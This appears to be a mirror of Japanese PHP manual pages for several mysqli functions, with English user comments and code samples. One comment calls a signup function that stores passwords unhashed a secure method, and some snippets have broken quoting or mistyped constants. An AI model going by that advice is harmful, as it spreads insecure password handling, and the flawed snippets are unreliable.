You just need to flush all the subsequent result sets before closing the statement... so:

$mysqli_stmt = $mysqli->prepare(....);

... bind, execute, bind, fetch ...

while($mysqli->more_results())
{
    $mysqli->next_result();
    $discard = $mysqli->store_result();
}

$mysqli_stmt->close();

Hope that helps :o)
jparedes at gmail dot com 27-Aug-2008 09:05
It's very important that after executing mysqli_multi_query you have first process the resultsets before sending any another statement to the server, otherwise your
socket is still blocked.

Please note that even if your multi statement doesn't contain SELECT queries, the server will send result packages containing errorcodes (or OK packet) for single statements.
undefined(AT)users(DOT)berlios(DOT)de 04-Mar-2008 04:13
mysqli_multi_query handles MySQL Transaction on InnoDB's :-)

<?php

$mysqli  = mysqli_connect( "localhost", "owner", "pass", "db", 3306, "/var/lib/mysql/mysql.sock" );

$QUERY = <<<EOT
START TRANSACTION;
SELECT @lng:=IF( STRCMP(`main_lang`,'de'), 'en', 'de' )
FROM `main_data` WHERE  ( `main_activ` LIKE 1 ) ORDER BY `main_id` ASC;
SELECT `main_id`, `main_type`, `main_title`, `main_body`, `main_modified`, `main_posted`
FROM `main_data`
WHERE ( `main_type` RLIKE "news|about" AND `main_lang` LIKE @lng AND `main_activ` LIKE 1 )
ORDER BY `main_type` ASC;
COMMIT;
EOT;

$query = mysqli_multi_query( $mysqli, $QUERY ) or die( mysqli_error( $mysqli ) );

if( $query )
{
  do {
    if( $result = mysqli_store_result( $mysqli ) )
    {
      $subresult = mysqli_fetch_assoc( $result );
      if( ! isset( $subresult['main_id'] ) )
        continue;

      foreach( $subresult AS $k => $v )
      {
        var_dump( $k , $v );
      }
    }
  } while ( mysqli_next_result( $mysqli ) );
}

mysqli_close( $mysqli );

?>
mjmendoza at grupzero dot tk 29-Nov-2006 10:47
I was developing my own CMS and I was having problem with attaching the database' sql file. I thought mysqli_multi_query got bugs where it crashes my MySQL server. I tried to report the bug but it showed that it has duplicate bug reports of other developers. To my surprise, mysqli_multi_query needs to bother with result even if there's none.

I finally got it working when I copied the sample and removed somethings. Here is what it looked liked

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
   printf("Connect failed: %s\n", mysqli_connect_error());
   exit();
}

$query  = "CREATE TABLE....;...;... blah blah blah;...";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = mysqli_store_result($link)) {
           //do nothing since there's nothing to handle
           mysqli_free_result($result);
       }
       /* print divider */
       if (mysqli_more_results($link)) {
           //I just kept this since it seems useful
           //try removing and see for yourself
       }
   } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

bottom-line: I think mysql_multi_query should only be used for attaching a database. it's hard to handle results from 'SELECT' statements inside a single while loop.
sly underscore mcfly at hotmail dot com 07-Sep-2006 05:32
Ive just had exactly the same problem as below trying to execute multiple stored procedures. I thought i might as well add how to do it the object oriented way.

Instead of putting the one statement:

<?php
$mysqli->next_result();
?>

Put two:

<?php
$mysqli->next_result();
$mysqli->next_result();
?>

The first statement points (possibly using the term incorrectly) you to the return value. The second one will point you to the result of the next query.

I hope this makes sense.
info at ff dot net 08-May-2006 04:02
Note that you need to use this function to call Stored Procedures!

If you experience "lost connection to MySQL server" errors with your Stored Procedure calls then you did not fetch the 'OK' (or 'ERR') message, which is a second result-set from a Stored Procedure call. You have to fetch that result to have no problems with subsequent queries.

Bad example, will FAIL now and then on subsequent calls:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);
?>

Working example:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);

if(mysqli_more_results($this->sqlLink))
  while(mysqli_next_result($this->sqlLink));
?>

Of course you can do more with the multiple results then just throwing them away, but for most this will suffice. You could for example make an "sp" function which will kill the 2nd 'ok' result.

This nasty 'OK'-message made me spend hours trying to figure out why MySQL server was logging warnings with 'bad packets from client' and PHP mysql_error() with 'Connection lost'. It's a shame the mysqli library does catch this by just doing it for you.


multi_query の、次の結果を準備する

  • ≪ mysqli::multi_query
  • mysqli::options ≫
  • PHP Manual
  • mysqli
  • multi_query の、次の結果を準備する

mysqli::next_result

mysqli_next_result

(PHP 5, PHP 7)

mysqli::next_result -- mysqli_next_result — multi_query の、次の結果を準備する

説明

オブジェクト指向型

public mysqli::next_result ( ) : bool

手続き型

mysqli_next_result ( mysqli $link ) : bool

直近の
mysqli_multi_query() コールから次の結果セットを用意します。
これは mysqli_store_result() あるいは
mysqli_use_result() で取得することが可能です。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。 mysqli_more_results() とは異なり、次のクエリがエラーになった場合は、同様に false を返します。

例

mysqli_multi_query() を参照ください。

参考

  • mysqli_multi_query() - データベース上でクエリを実行する
  • mysqli_more_results() - マルチクエリからの結果がまだ残っているかどうかを調べる
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_use_result() - 結果セットの取得を開始する

User Contributed Notes

admin at travian-utils dot com 28-Oct-2009 11:24
Stored procedures few rowset example:

some_file.php
<?php
function proc() {
  global $global;
  $db_connect_list = array('site');
  SQLinit($db_connect_list);
  if(isset($global['error'])){return;}
  SQL('CALL `procedure`();');
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLnext();
  while($row=mysqli_fetch_assoc($global['result'])){
    // do some
  }
  SQLclose($db_connect_list);
}
?>

config.php
<?php
  $global['sys']['db']['site'] = array('host'=>'localhost', 'user'=>'site', 'pass'=>'');
?>

engine.php
<?php
function SQLinit($array_list){
  global $global;
  foreach($array_list as $set){
    if(!$global['sys']['db'][$set]['connect'] = mysqli_connect(
        $global['sys']['db'][$set]['host'],
        $global['sys']['db'][$set]['user'],
        $global['sys']['db'][$set]['pass'])){
      $global['error']['code'] = 500;
      $global['error']['text'] = 'Database not avaliable';
      $w=fopen('error.log','a+');
      fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
      fwrite($w,'errno: '.mysqli_connect_errno()."\r\n");
      fwrite($w,'error: '.mysqli_connect_error()."\r\n");
      fclose($w);
      return;
    }
    if(!isset($global['sys']['default_connect']))
      $global['sys']['default_connect'] = $global['sys']['db'][$set]['connect'];
    SQL('SET NAMES \'utf8\' COLLATE \'utf8_unicode_ci\';', $global['sys']['db'][$set]['connect']);
    SQL('SET CHARACTER SET \'utf8\';', $global['sys']['db'][$set]['connect']);
    SQL('SET character_set_connection = \'utf8\';', $global['sys']['db'][$set]['connect']);
  }
}
function mTime(){
  list($usec, $sec) = explode(" ", microtime());
  return ((float)$usec+(float)$sec);
}
function SQL($sql, $connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  while ($connect->next_result()) $connect->store_result();
  $begin=mTime();
  $global['result']=mysqli_query($connect, $sql);
  $end=mTime();
  $global['sys']['time_sql']+=$end-$begin;
  $error=mysqli_error($connect);
  if($error!=''){
    $global['error']['code'] = 502;
    $global['error']['text'] = 'SQL error';
    $global['error']['sql'] = true;
    $w=fopen('error.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'errno: '.mysqli_errno($connect)."\r\n");
    fwrite($w,'error: '.$error."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }else{
    $w=fopen('sql.log','a+');
    fwrite($w,'time: '.date('Y M d H:i:s')."\r\n");
    fwrite($w,'sql: '.$sql."\r\n");
    fclose($w);
  }
}

function SQLnext($connect = -1){
  global $global;
  if($connect === -1)$connect = $global['sys']['default_connect'];
  if(isset($global['error']['sql']))return;
  $connect->next_result();
  $global['result'] = $connect->store_result();
}

function SQLclose($array_list){
  global $global;
  foreach($array_list as $set){
    mysqli_close($global['sys']['db'][$set]['connect']);
  }
}
?>
pawel dot barcik at gmail dot com 21-Jun-2008 05:26
this function returns FALSE when you have an error in your syntax in one of your queries, so be carefull with this type of construction when tracking errors:

<?php

//error in the second sub query
$result = $db->multi_query("select * from news; seleeeeeeect id from news; update news set title='new title' where id= 12 ");

//code inside object class
$this->_db = new Mysqli($host, $user, $password, $database, $port, $socket);

do {
    $result = $this->_db->store_result();
    $this->_resultMulti[] = $result;
    $this->_errnoMulti[] = $this->_db->errno;

    if(is_object($result)) {
        $result->free_result();
    }

} while($this->_db->next_result());

?>

in this construction all you have in the $this->_errnoMulti is :

array(1) {
  [0]=>
  int(0)
}

which means that there are no errors if you are not checking how many queries are executed!


オプションを設定する

  • ≪ mysqli::next_result
  • mysqli::ping ≫
  • PHP Manual
  • mysqli
  • オプションを設定する

mysqli::options

mysqli_options

(PHP 5, PHP 7)

mysqli::options -- mysqli_options — オプションを設定する

説明

オブジェクト指向型

public mysqli::options ( int $option , mixed $value ) : bool

手続き型

mysqli_options ( mysqli $link , int $option , mixed $value ) : bool

接続に関する追加オプションを設定し、 接続の振る舞いに影響を与えるために使用します。

この関数は、いくつかのオプションを設定して複数回コールされることがあります。

mysqli_options() は、
mysqli_init() がコールされた後、
mysqli_real_connect() の前にコールしなければなりません。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

option

指定するオプション。以下の値のいずれかです。

使用可能なオプション
名前 | 説明
MYSQLI_OPT_CONNECT_TIMEOUT | 接続のタイムアウト秒数
MYSQLI_OPT_READ_TIMEOUT | コマンドの実行結果が返ってくるまでのタイムアウト秒数。PHP 7.2.0 以降で利用可能です。
MYSQLI_OPT_LOCAL_INFILE | LOAD LOCAL INFILE の使用可/不可。
MYSQLI_INIT_COMMAND | MySQL サーバーへの接続後に実行するコマンド。
MYSQLI_SET_CHARSET_NAME | 文字コードのデフォルト値
MYSQLI_READ_DEFAULT_FILE | my.cnf の代わりに、指定した名前のファイルから 設定を読み込みます。 mysqlnd ではサポートされていません。
MYSQLI_READ_DEFAULT_GROUP | my.cnf の指定した名前のグループ、あるいは MYSQL_READ_DEFAULT_FILE で指定したファイルから 設定を読み込みます。 mysqlnd ではサポートされていません。
MYSQLI_SERVER_PUBLIC_KEY | RSA 公開鍵ファイル。SHA-256 ベースの認証で使います。 PHP 5.5.0 以降で利用可能です。
MYSQLI_OPT_NET_CMD_BUFFER_SIZE | 内部のコマンド／ネットワークバッファのサイズ。 mysqlnd でのみ有効です。
MYSQLI_OPT_NET_READ_BUFFER_SIZE | MySQL コマンドパケットのボディを読み込むときの、読み込みチャンクの最大バイト数。 mysqlnd でのみ有効です。
MYSQLI_OPT_INT_AND_FLOAT_NATIVE | integer 型と float 型のカラムを PHP の数値に変換します。 mysqlnd でのみ有効です。
MYSQLI_OPT_SSL_VERIFY_SERVER_CERT | サーバの証明書を検証するかしないかを指定します。

value

オプションに設定する値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

mysqli_real_connect() を参照ください。

注意

注意:

MySQLnd は常に、サーバーのデフォルト文字セットを想定しています。この文字セットは接続時の ハンドシェイク/認証 のときに送信され、これを mysqlnd が使います。

Libmysqlclient が使うデフォルトの文字セットは my.cnf で設定したものです。あるいは明示的に mysqli_options() をコールして設定することもできます。 これは、mysqli_init() のあとで mysqli_real_connect() を実行する前にコールします。

参考

  • mysqli_init() - MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする

User Contributed Notes

php at darkain dot com 20-Jul-2018 10:14
There is an undocumented option: MYSQLI_OPT_READ_TIMEOUT. This is similar to MYSQLI_OPT_CONNECT_TIMEOUT in theory, but has a slightly different application. Connection timeout only specifies the wait time for the initial TCP connection. Once that is created, the timeout no longer applies. Read timeout, however, is from the time the TCP connection is created until the first packet of actual data is received. There are instances where a TCP connection can be established, but the MySQL server stalls indefinitely, preventing execution from ever returning to PHP. Specifying a read timeout alleviates this condition, whereas connect timeout wouldn't.

If the MYSQLI_OPT_READ_TIMEOUT constant isn't defined, it is still supported on versions where that isn't the case. You can define it yourself in older PHP versions with the following code.

<?php
if (!defined('MYSQLI_OPT_READ_TIMEOUT')) {
    define ('MYSQLI_OPT_READ_TIMEOUT', 11);
}
?>

You can then use read timeout the same way you could a connect timeout as follows. Please note that since these are two different timeout values for two different parts of the entire connection process, the timeouts do stack (eg: 10 seconds connect timeout + 10 seconds read timeout = maximum possible timeout of 20 seconds)

<?php
//create the object
$connection = mysqli_init();

//specify the connection timeout
$connection->options(MYSQLI_OPT_CONNECT_TIMEOUT, 10);

//specify the read timeout
$connection->options(MYSQLI_OPT_READ_TIMEOUT, 10);

//initiate the connection to the server, using both previously specified timeouts
$connection->real_connect('server', 'user', 'pass', 'database');
?>
king at bobfish dot org 14-Feb-2008 12:05
Example on using mysqli_options to increase size of max_allowed_packet for working with big blobs.

function dbConnect()
{
   $user = 'jomama';
   $pass = 'cartoon';
   $dbName = 'LifeCycle';
   $host = 'localhost';

   $mysqli = mysqli_init();
   mysqli_options($mysqli,MYSQLI_READ_DEFAULT_GROUP,
                                    "max_allowed_packet=50M");
   mysqli_real_connect($mysqli,$host, $user, $pass,$dbName)
                  or die ('<P>Unable to connect</P>');

   return $mysqli;
}
fluppy 07-Mar-2007 02:46
Here es little example to create a SSL Connection

<?php

$db = mysqli_init();

/*
When you want so use a separate cnf
$test = $db->options(MYSQLI_EAD_DEFAULT_FILE,'myother.cnf');
*/

$db->ssl_set('server-key.pem','server-cert.pem',
'cacert.pem',NULL,NULL);

$db->real_connect('localhost','root','','mydb');

//Here some query

$db->close();

?>


サーバーとの接続をチェックし、もし切断されている場合は再接続を試みる

  • ≪ mysqli::options
  • mysqli::poll ≫
  • PHP Manual
  • mysqli
  • サーバーとの接続をチェックし、もし切断されている場合は再接続を試みる

mysqli::ping

mysqli_ping

(PHP 5, PHP 7)

mysqli::ping -- mysqli_ping — サーバーとの接続をチェックし、もし切断されている場合は再接続を試みる

説明

オブジェクト指向型

public mysqli::ping ( ) : bool

手続き型

mysqli_ping ( mysqli $link ) : bool

サーバーとの接続が動作中かどうかを確かめます。もし切断されており、 グローバルオプション mysqli.reconnect が有効な場合は再接続を試みます。

注意: mysqlnd ドライバは、php.ini 設定項目 mysqli.reconnect を無視します。 自動再接続は行われません。

この関数は、長期間アイドル状態にあるクライアントが、 サーバーの状態を確認して必要なら再接続するために使用します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqli::ping() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

/* サーバーが稼動中かどうかを確認します */
if ($mysqli->ping()) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", $mysqli->error);
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* サーバーが稼動中かどうかを確認します */
if (mysqli_ping($link)) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", mysqli_error($link));
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Our connection is ok!

User Contributed Notes

root at jusme dot org 21-Sep-2015 10:00
As jay at grooveshark dot com very helpfully pointed out, the mysqlnd driver which is becoming pretty standard does not obey reconnect commands. If you have a DB wrapper class (which hopefully you do) you can implement your own version of ping() such as:

<?php

class db extends mysqli
{
    private $db_host;
    private $db_user;
    private $db_pass;
    private $db_name;
    private $persistent;

    public function __construct($db_host, $db_user, $db_pass, $db_name, $persistent = true)
    {
        $this->db_host = $db_host;
        $this->db_user = $db_user;
        $this->db_pass = $db_pass;
        $this->db_name = $db_name;
        $this->persistent = $persistent;

        parent::init();
        parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 1);
        @parent::real_connect(($this->persistent ? 'p:' : '') . $this->db_host, $this->db_user, $this->db_pass, $this->db_name);

        if ($this->connect_errno)
            die("All DB servers down!\n");
    }

    public function ping()
    {
        @parent::query('SELECT LAST_INSERT_ID()');

        if ($this->errno == 2006)
            $this->__construct($this->db_host, $this->db_user, $this->db_pass, $this->db_name, $this->persistent);
    }
...
}

$db = new db(DB_HOST, DB_USER, DB_PASS, DB_NAME);
// Some code that potentially takes a really long time to execute goes here
// Ping for safety to try to gracefully reconnect
$db->ping();
// Now we should be able to run queries again
$db->query('SELECT LAST_INSERT_ID()');

?>

If you wanted you could even put "$this->ping();" at the top of db::query() to avoid any explicit reconnection calls but I wouldn't recommend it due to the (slight) overhead of running the cheap "SELECT LAST_INSERT_ID()" query every time prior to running your real intended query. There are probably even cheaper queries to run in favor of "SELECT LAST_INSERT_ID()" but it was the first that came to mind and is cheap enough for most purposes since you shouldn't be calling ping() a whole bunch anyway.
snooops84 at googlemail dot com 13-Feb-2015 08:56
The behaviour about the option mysqli.reconnect is default set to Off at Debian PHP Packages. So i would recommend to update the first line description about the recommendation at the option mysqli.reconnect. (practice note ;))
jay at grooveshark dot com 27-Sep-2014 12:07
This does not work with mysqlnd and is marked as wontfix: https://bugs.php.net/bug.php?id=52561


接続を問い合わせる

  • ≪ mysqli::ping
  • mysqli::prepare ≫
  • PHP Manual
  • mysqli
  • 接続を問い合わせる

mysqli::poll

mysqli_poll

(PHP 5 >= 5.3.0, PHP 7)

mysqli::poll -- mysqli_poll — 接続を問い合わせる

説明

オブジェクト指向型

public static mysqli::poll ( array &$read , array &$error , array &$reject , int $sec , int $usec = 0 ) : int

手続き型

mysqli_poll ( array &$read , array &$error , array &$reject , int $sec , int $usec = 0 ) : int

接続を問い合わせます。 mysqlnd でのみ使用可能です。 このメソッドは static メソッドとして使えます。

パラメータ

read

読み込める結果が残っている接続のリスト。

error

クエリが失敗した、あるいは接続が切断されたなどのエラーが発生した接続のリスト。

reject

関数から結果を取得できるような非同期クエリが実行されていないという理由で、 拒否された接続のリスト。

sec

待ち続ける秒数の最大。非負の数でなければなりません。

usec

待ち続けるマイクロ秒数の最大。非負の数でなければなりません。

返り値

成功した場合に使用できる接続の数、それ以外の場合に false を返します。

例

例1 mysqli_poll() の例

<?php
$link1 = mysqli_connect();
$link1->query("SELECT 'test'", MYSQLI_ASYNC);
$all_links = array($link1);
$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }
} while ($processed < count($all_links));
?>

上の例の出力は以下となります。

Array
(
    [0] => test
)

参考

  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_reap_async_query() - 非同期クエリから結果を取得する

User Contributed Notes

ekalashnikov at gmail dot com 04-Oct-2017 07:07
Improved version of using polling to check for slow query,
"KILL #ID" does not work if id of the myqsli link is the same as the one that kills it,
so you have to disconnect from mysqli and connect again with new link to
kill the #ID.
<?php
// Slow SQL Query
      $SelectSql = 'SELECT * FROM SLOW_QUERY';
      $link = mysqli_connect('localhost','user','pass','database');
      mysqli_query($SelectSql, MYSQLI_ASYNC);
      $thread_id = mysqli_thread_id($link);
      // Ignore user abort so we can kill the query
      ignore_user_abort(true);
      $MaxTime = 5; // seconds
      $Overtime = false;
      $StartTime = time();
      do
      {
          // Poll MySQL
        $links = $errors = $reject = array($link);
        $poll = mysqli_poll($links, $errors, $reject, 0, 500000);
         // Check if the connection is aborted and the query was killed
        if (connection_aborted()) {
          $link_new = mysqli_connect('localhost','user','pass','database');
          mysqli_kill($link_new, $thread_id);
          $kill = mysqli_kill($link_new, $thread_id);
          if ($kill)
          {
            die();
          }
        }
        $EndTime = time();
        // Check overtime, kill if detected overtime
        if ($EndTime - $StartTime > $MaxTime)
        {
          $link_new = mysqli_connect('localhost','user','pass','database');
          mysqli_kill($link_new, $thread_id);
          $Overtime = true;
          echo 'Error: Query took over '.$Overtime.'.';
        }
      } while (!$poll && $Overtime == false);
?>
ekalashnikov at gmail dot com 03-Oct-2017 09:54
This is how you can test and terminate slow query with polling.

<?php
// Slow SQL Query
      $SelectSql = 'SELECT * FROM SLOW_QUERY';
      $link = mysqli_connect('localhost','user','pass','database');
      mysqli_query($SelectSql, MYSQLI_ASYNC);
      $thread_id = mysqli_thread_id($link);
      // Ignore user abort so we can kill the query
      ignore_user_abort(true);
      $MaxTime = 5; // seconds
      $Overtime = false;
      $StartTime = time();
      do
      {
          // Poll MySQL
        $links = $errors = $reject = array($link);
        $poll = mysqli_poll($links, $errors, $reject, 0, 500000);
         // Check if the connection is aborted and the query was killed
        if (connection_aborted() && mysqli_kill($link, $thread_id)) {
            die();
        }
        $EndTime = time();
        // Check overtime, kill if detected overtime
        if ($EndTime - $StartTime > $MaxTime)
        {
          mysqli_kill($link, $thread_id);
          $Overtime = true;
          echo 'Error: Query took over '.$Overtime.'.';
        }
      } while (!$poll && $Overtime == false);
?>
shestero at meta dot ua 21-Jan-2016 12:24
Sometime it's not clear what does it mean as connection is "ready" . Does it mean the query completed or just some records ready to read?
Is it possible to use asynchronous (unblocking) and unbuffered SELECT-query? I.e. with both MYSQLI_ASYNC|MYSQLI_USE_RESULT

I want some poll-like code inside my loop that has four case-options:
1. Poll wait time-out is over but no records of result set is ready.
2. One or more records are ready to read (but the query still running).
3. Query is successfully over (completed; no more records).
4. Error.

Is it possible?

As I understood the operation of reading a record from unbuffered query is blocking if there are no ready records at the moment, and there is no functions to get out how much records are ready ?
l_sanczyk at hotmail dot com 21-Jul-2014 07:56
You can use the following code to execute, for example, 10 simultaneous queries:

$query = "SELECT `field1`, `field2` FROM `table` WHERE `field1`='something'";

$all_links = array();
for($i=0; $i<10; $i++) {
    $link = mysqli_connect("your.mysql.server.here","your@user","pa$$w0rd",DataBase_Name");
    $link->query($query, MYSQLI_ASYNC);
    $all_links[] = $link;
}

$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }
} while ($processed < count($all_links));

NOTE: If you get a "Warning: mysqli::query() expects parameter 2 to be long, string given" you have a mysqlnd installation or configuration issue.


実行するための SQL文 を準備する

  • ≪ mysqli::poll
  • mysqli::query ≫
  • PHP Manual
  • mysqli
  • 実行するための SQL文 を準備する

mysqli::prepare

mysqli_prepare

(PHP 5, PHP 7)

mysqli::prepare -- mysqli_prepare — 実行するための SQL文 を準備する

説明

オブジェクト指向型

public mysqli::prepare ( string $query ) : mysqli_stmt

手続き型

mysqli_prepare ( mysqli $link , string $query ) : mysqli_stmt

SQL文を準備し、後でそれを操作するために使用する ステートメントハンドルを返します。 クエリは、単一の SQL文である必要があります。

SQL文のテンプレートには、ゼロ個以上のパラメータマーカ (?) を含めることができます。 パラメータマーカは、プレースホルダとも呼ばれています。 パラメータマーカは、SQL文を実行する前に mysqli_stmt_bind_param() を使用して アプリケーション変数にバインドする必要があります。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

query

クエリを表す文字列。 単一のSQL文である必要があります。

SQL文には、ゼロ個以上のパラメータマーカを含めることができますます。 パラメータマーカはクエスチョンマーク(?) を適切な位置に置くこと埋め込みます。

注意:

パラメータのマーカは、それが SQL 文の適切な位置にある場合のみ有効です。 例えば INSERT 文の VALUES() リストの中 (行に登録するカラム値を指定する) や WHERE 句で列のデータと比較する値などが 適切な位置の例です。

しかし、識別子 (テーブルやカラムの名前) や SELECT 文で選択する項目の名前に指定したり、 (等号 = のような) 二項演算子の両側にパラメータを指定したりすることはできません。 後者の制限は、パラメータの型が判断できなくなることによるものです。 一般に、パラメータが使用可能なのはデータ操作言語 (DML) ステートメントであり、データ定義言語 (DDL) ステートメントでは使用できません。

返り値

mysqli_prepare() はステートメントオブジェクトを返します。 エラー時には false を返します。

例

例1 mysqli::prepare() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* プリペアドステートメントを作成します。*/
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");

/* マーカにパラメータをバインドします */
$stmt->bind_param("s", $city);

/* クエリを実行します */
$stmt->execute();

/* 結果変数をバインドします */
$stmt->bind_result($district);

/* 値を取得します */
$stmt->fetch();

printf("%s is in district %s\n", $city, $district);

手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* プリペアドステートメントを作成します */
$stmt = mysqli_prepare($link, "SELECT District FROM City WHERE Name=?");

/* マーカにパラメータをバインドします */
mysqli_stmt_bind_param($stmt, "s", $city);

/* クエリを実行します */
mysqli_stmt_execute($stmt);

/* 結果変数をバインドします */
mysqli_stmt_bind_result($stmt, $district);

/* 値を取得します */
mysqli_stmt_fetch($stmt);

printf("%s is in district %s\n", $city, $district);

上の例の出力は以下となります。

Amersfoort is in district Utrecht

参考

  • mysqli_stmt_execute() - プリペアドステートメントを実行する
  • mysqli_stmt_fetch() - プリペアドステートメントから結果を取得し、バインド変数に格納する
  • mysqli_stmt_bind_param() - プリペアドステートメントのパラメータに変数をバインドする
  • mysqli_stmt_bind_result() - 結果を保存するため、プリペアドステートメントに変数をバインドする
  • mysqli_stmt_get_result() - プリペアード・ステートメントから結果セットを取得
  • mysqli_stmt_close() - プリペアドステートメントを閉じる

User Contributed Notes

omidbahrami1990 at gmail dot com 06-Dec-2017 10:49
This Is A Secure Way To Use mysqli::prepare
--------------------------------------------------------
<?php
function secured_signup($username,$password)
{
$connection = new mysqli($dbhost,$dbusername,$dbpassword,$dbname);
if ($connection->connect_error)
die("Secured");

$prepared = $connection->prepare("INSERT INTO `users` ( `username` , `password`  ) VALUES ( ? , ? ) ; ");
if($prepared==false)
die("Secured");

$result=$prepared->bind_param("ss",$username,$password);
if($result==false)
die("Secured");

$result=$prepared->execute();
if($result==false)
die("Secured");

$prepared->close();
$connection->close();
}
/*
$dbhost ---> DataBase IP Address
$dbusername ---> DataBase Username
$dbpassword ---> DataBase Password
$dbname ---> DataBase Name
*/
?>
kritz at hrz dot tu-chemnitz dot de 10-May-2017 08:57
I wasn't able to fully test the following since the server I am currently working on is missing the PHP module that allows me to call get_result on mysqli_stmt but maybe this could be helpful for someone:

<?php

/**
 * Custom {@link \mysqli} class with additional functions.
 */
class CustomMysqli extends \mysqli
{
    /**
     * Creates a prepared query, binds the given parameters and returns the result of the executed
     * {@link \mysqli_stmt}.
     * @param string $query
     * @param array $args
     * @return bool|\mysqli_result
     */
    public function queryPrepared($query, array $args)
    {
        $stmt   = $this->prepare($query);
        $params = [];
        $types  = array_reduce($args, function ($string, &$arg) use (&$params) {
            $params[] = &$arg;
            if (is_float($arg))         $string .= 'd';
            elseif (is_integer($arg))   $string .= 'i';
            elseif (is_string($arg))    $string .= 's';
            else                        $string .= 'b';
            return $string;
        }, '');
        array_unshift($params, $types);

        call_user_func_array([$stmt, 'bind_param'], $params);

        $result = $stmt->execute() ? $stmt->get_result() : false;

        $stmt->close();

        return $result;
    }
}

$db = new CustomMysqli('host', 'user', 'password', 'database', 3306);
$result = $db->queryPrepared(
    'SELECT * FROM table WHERE something = ? AND someotherthing = ? AND elsewhat = ?',
    [
        'dunno',
        1,
        'dontcare'
    ]
);

if (isset($result) && $result instanceof \mysqli_result) {
    while (null !== ($row = $result->fetch_assoc())) {
        echo '<pre>'.var_debug($row, true).'</pre>';
    }
}

?>

NOTE: If you want to use this with a PHP version below 5.4 you have to use the old ugly array() syntax for arrays instead of the short [] syntax.
cdtreeks at gmail dot com 11-Jan-2015 01:23
When executing a prepared MySQL, by default if there's an error then you'll simply get FALSE returned from your call to prepare().

To get the full MySQL error back create a statement object before preparing your query as such:

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$statement = $mysqli->stmt_init();
if ($statement->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for marker(s) */
    $statement->bind_param("s", $city);

    /* execute query */
    if (!$statement->execute()) {
        trigger_error('Error executing MySQL query: ' . $statement->error);
    }

    /* bind result variables */
    $statement->bind_result($district);

    /* fetch value */
    $statement->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $statement->close();
}

/* close connection */
$mysqli->close();
?>
REz 05-Nov-2014 11:35
There is no reference that all data must be fetched before a new prepare call to msqli, the only help is in a 6 years old comment!
You have to myslqi_stmt::fetch() data until NULL is returned before you can call mysqli::prepare() again without having FALSE and no error at all in mysqli::$errno and mysqli::$error
marmstro at gmail dot com 04-Oct-2013 03:05
If your IDE isn't recognizing $stmt as an object of type mysqli_stmt when you use the traditional perpare:

$stmt = mysqli_prepare($link, $query);

